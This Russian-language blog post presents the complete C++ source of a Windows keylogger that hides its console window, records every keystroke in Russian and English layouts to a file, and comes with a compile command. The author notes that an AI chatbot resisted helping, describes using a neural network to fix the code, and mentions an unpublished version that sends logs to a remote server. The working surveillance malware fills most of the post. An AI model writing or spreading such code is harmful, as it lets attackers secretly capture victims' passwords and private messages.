КЕЙЛОГГЕР, КОТОРЫЙ ПОНИМАЕТ РЮССКИЙ ЯЗЫК
Давно хотел написать свой собственный кейлоггер, но до некоторых пор мне почему-то казалась, что это очень трудно. Даже с учетом наличия такого инструмента как Chat GPT, дело долго не двигалось с места... То есть, что-то получалось, но были жесткие проблемы с русской кодировкой или с записью в файл, или еще чего-нибудь в таком духе. Казалось, ИИ специально старался избежать участия в подобном проекте по каким-то идиотским моральным соображениям, которые в него вложили разработчики. Мучился с ним где-то пару дней - и так, и эдак - один хрен, выходила какая-то нерабочая херня. А потом в голову взбрела светлая мысль залезть на Гитхаб и посмотреть как люди решают подобные задачи... Там, конечно, оказалось довольно много примеров, и многие из них отлично работают, но в подавляющем блольшинстве не понимают русского языка... Тем не менее, в результате изучения удалось ухватить основную суть и подсмотреть парочку идей для расширения базового функционала программы. И вот, в какой-то момент мне повезло. На каком-то форуме нашел пример одного русского парня, который использовал вменяемую таблицу символов ANSI. Конечно, его код был кривой и не хотел компилироваться, так что кое-какие детали пришлось подшлифовать с помощью нейронки, но в итоге дело пошло и теперь у меня есть рабочий вариант:
madkl.cpp
/* Данная программа записывает все букавки и циферьки, которые нажимает пользователь, в файлик out.txt. Примечательно, что она понимает русскую и английскую раскладку. Кроме того, в ней реализована функция стелс, которая, впрочем, в данной версии пока не проверена. Программа разработана специально для https://madmentat.ru в ознакомительных целях. */ #include <iostream> #include <fstream> #include <string> #include <Windows.h> #include <time.h> #define RUS 0x0419 //Код русской клавиатурной раскладки #define ENG 0x0409 //Код английской клавиатурной раскладки LPCWSTR rus = L"00000419"; LPCWSTR eng = L"00000409"; int BackSp = 0; //Переменная для BackSpase bool is_capslock = false; //Проверка включенности капслока HWND hWnd = GetForegroundWindow(); // получение дескриптора окна DWORD tpi; // id потока, обслуживающего процесс int save(int key); void stealth(); int main(int argc, char* argv[]) { // Скрыть консольное окно программы HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); int tpi = GetCurrentThreadId(); // получить идентификатор потока текущего процесса while (true) { for (int i = 8; i <= 222; i++) { if (GetAsyncKeyState(i) == -32767) { save(i); } } } return 0; } int save(int key) { // Открыть файл лога для добавления новых записей std::ofstream out_file; out_file.open("out.txt", std::ios_base::app); if (!out_file.is_open()) { std::cout << "Ошибка открытия файла логов\n"; return -1; } std::string sLogs = ""; time_t t = time(0); // Получить текущую раскладку клавиатуры int layout = LOWORD(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL))); // Проверить текущую раскладку и выбрать соответствующий набор символов switch (layout) { case RUS: // русская раскладка switch (key) { //Пробел case VK_SPACE: sLogs += " "; break; //Клавиши F1-F12 - начало case 112: sLogs += "[F1]"; break; case 113: sLogs += " [F2]"; break; case 114: sLogs += " [F3]"; break; case 115: sLogs += " [F4]"; break; case 116: sLogs += " [F5]"; break; case 117: sLogs += " [F6]"; break; case 118: sLogs += " [F7]"; break; case 119: sLogs += " [F8]"; break; case 120: sLogs += " [F9]"; break; case 121: sLogs += " [F10]"; break; case 122: sLogs += " [F11]"; break; case 123: sLogs += " [F12]"; break; //Клавиши F1-F12 - конец //Цифровая клавиатура - начало case 96: BackSp = 0; sLogs += "0"; break; case 97: BackSp = 0; sLogs += "1"; break; case 98: BackSp = 0; sLogs += "2"; break; case 99: BackSp = 0; sLogs += "3"; break; case 100: BackSp = 0; sLogs += "4"; break; case 101: BackSp = 0; sLogs += "5"; break; case 102: BackSp = 0; sLogs += "6"; break; case 103: BackSp = 0; sLogs += "7"; break; case 104: BackSp = 0; sLogs += "8"; break; case 105: BackSp = 0; sLogs += "9"; break; //Цифровая клавиатура - конец //Клавиатура с цифрами вверху - начало case 48: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += ")"; } else sLogs += "0"; break; case 49: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "!"; } else sLogs += "1"; break; case 50: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += '"'; } else sLogs += "2"; break; case 51: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "№"; } else sLogs += "3"; break; case 52: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += ";"; } else sLogs += "4"; break; case 53: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "%"; } else sLogs += "5"; break; case 54: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += ":"; } else sLogs += "6"; break; case 55: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "?"; } else sLogs += "7"; break; case 56: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "*"; } else sLogs += "8"; break; case 57: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "("; } else sLogs += "9"; break; case 189: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "_"; } else sLogs += "-"; break; case 187: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "+"; } else sLogs += "="; break; //Клавиатура с цифрами вверху - конец //Ввод набора русских букв с клавиатуры - начало case 65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ф" : "ф"; break; case 66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "И" : "и"; break; case 67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "С" : "с"; break; case 68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "В" : "в"; break; case 69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "У" : "у"; break; case 70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "А" : "а"; break; case 71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "П" : "п"; break; case 72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Р" : "р"; break; case 73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ш" : "ш"; break; case 74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "О" : "о"; break; case 75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Л" : "л"; break; case 76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Д" : "д"; break; case 77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ь" : "ь"; break; case 78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Т" : "т"; break; case 79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Щ" : "щ"; break; case 80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "З" : "з"; break; case 81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Й" : "й"; break; case 82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "К" : "к"; break; case 83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ы" : "ы"; break; case 84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Е" : "е"; break; case 85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Г" : "г"; break; case 86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "М" : "м"; break; case 87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ц" : "ц"; break; case 88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ч" : "ч"; break; case 89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Н" : "н"; break; case 90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Я" : "я"; break; case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ж" : "ж"; break; case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Б" : "б"; break; case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ю" : "ю"; break; case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Х" : "х"; break; case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "|" : "\\"; break; case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ъ" : "ъ"; break; case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Э" : "э"; break; case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "," : "."; break; case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ё" : "ё"; break; //Ввод набора русских букв с клавиатуры - конец // Добавить другие символы русской раскладки по аналогии default: break; } break; case ENG: // английская раскладка switch (key) { //Пробел case VK_SPACE: sLogs += " "; break; //Клавиши F1-F12 - начало case 112: sLogs += "[F1]"; break; case 113: sLogs += " [F2]"; break; case 114: sLogs += " [F3]"; break; case 115: sLogs += " [F4]"; break; case 116: sLogs += " [F5]"; break; case 117: sLogs += " [F6]"; break; case 118: sLogs += " [F7]"; break; case 119: sLogs += " [F8]"; break; case 120: sLogs += " [F9]"; break; case 121: sLogs += " [F10]"; break; case 122: sLogs += " [F11]"; break; case 123: sLogs += " [F12]"; break; //Клавиши F1-F12 - конец //Цифровая клавиатура - начало case 96: BackSp = 0; sLogs += "0"; break; case 97: BackSp = 0; sLogs += "1"; break; case 98: BackSp = 0; sLogs += "2"; break; case 99: BackSp = 0; sLogs += "3"; break; case 100: BackSp = 0; sLogs += "4"; break; case 101: BackSp = 0; sLogs += "5"; break; case 102: BackSp = 0; sLogs += "6"; break; case 103: BackSp = 0; sLogs += "7"; break; case 104: BackSp = 0; sLogs += "8"; break; case 105: BackSp = 0; sLogs += "9"; break; //Цифровая клавиатура - конец //Клавиатура с цифрами вверху - начало case 48: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += ")"; } else sLogs += "0"; break; case 49: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "!"; } else sLogs += "1"; break; case 50: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "@"; } else sLogs += "2"; break; case 51: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "#"; } else sLogs += "3"; break; case 52: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "$"; } else sLogs += "4"; break; case 53: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "%"; } else sLogs += "5"; break; case 54: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "^"; } else sLogs += "6"; break; case 55: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "&"; } else sLogs += "7"; break; case 56: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "*"; } else sLogs += "8"; break; case 57: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "("; } else sLogs += "9"; break; case 189: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "_"; } else sLogs += "-"; break; case 187: BackSp = 0; if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) { sLogs += "+"; } else sLogs += "="; break; //Клавиатура с цифрами вверху - конец // Набор символов на английской раскладке case 65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "A" : "a"; break; case 66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "B" : "b"; break; case 67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "C" : "c"; break; case 68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "D" : "d"; break; case 69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "E" : "e"; break; case 70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "F" : "f"; break; case 71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "G" : "g"; break; case 72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "H" : "h"; break; case 73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "I" : "i"; break; case 74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "J" : "j"; break; case 75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "K" : "k"; break; case 76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "L" : "l"; break; case 77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "M" : "m"; break; case 78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "N" : "n"; break; case 79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "O" : "o"; break; case 80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "P" : "p"; break; case 81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Q" : "q"; break; case 82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "R" : "R"; break; case 83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "S" : "s"; break; case 84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "T" : "t"; break; case 85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "U" : "u"; break; case 86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "V" : "v"; break; case 87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "W" : "W"; break; case 88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "X" : "x"; break; case 89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Y" : "y"; break; case 90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break; case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ":" : ";"; break; case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "<" : ","; break; case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ">" : "."; break; case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "{" : "["; break; case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "}" : "]"; break; case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? '|' : static_cast<char>(92); break; case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break; case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "?" : "/"; break; case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "~" : "`"; break; //Ввод набора английских букв с клавиатуры - конец // Добавить другие символы английской раскладки по аналогии default: break; } break; default: break; } // Записать данные в файл и закрыть его out_file << sLogs; out_file.close(); return 0; } //Видимость окна - начало void stealth() { HWND stealth; AllocConsole(); stealth = FindWindowA("consoleWindowClass", NULL); ShowWindow(stealth, 1); //1 - видимость кона включена, 0 - выключена } //Видимость окна - конец
g++ madkl.cpp -o kl
А вот тут скрин немного усложненной версии почти готового продукта, который умеет отсылать логи на сервер по TCP-сокуту:
Здесь так же реализована серверная часть и механизм handshake с опознанием клиента по некоторым специфическим данным о компьютере и пользователе. В проекте остается SSL, всякое там шифрование и т. д. Короче, все что касается безопасности.
Эту новую версию я уже публиковать не буду ))